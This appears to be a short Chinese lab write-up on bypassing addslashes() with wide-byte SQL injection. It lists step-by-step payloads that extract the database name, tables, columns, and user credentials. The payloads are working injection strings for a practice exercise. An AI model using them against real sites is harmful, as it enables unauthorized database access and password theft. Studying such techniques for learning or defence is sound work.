wghou 2020-03-03
1.查看一下php文件:
check_addslashes()会在单引号前加一个\ 例如:I‘m hacker 传入addslashes(),得到:I\‘m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:
原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6‘ 这样的构造时,‘ 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用,库。
2.爆破
(1)爆库:?id=-1%E6‘ union select 1,2,database() --+
(2)爆表:?id=-1%E6‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
需要对战ASCII码表,将security换成其对应的16进制
(3)爆列名:?id=-1%E6‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
(4)爆值:?id=-1%E6‘ union select 1,group_concat(username,0x7e,password),3 from security.users --+
原文链接:https://blog.csdn.net/qq_41420747/article/details/81836327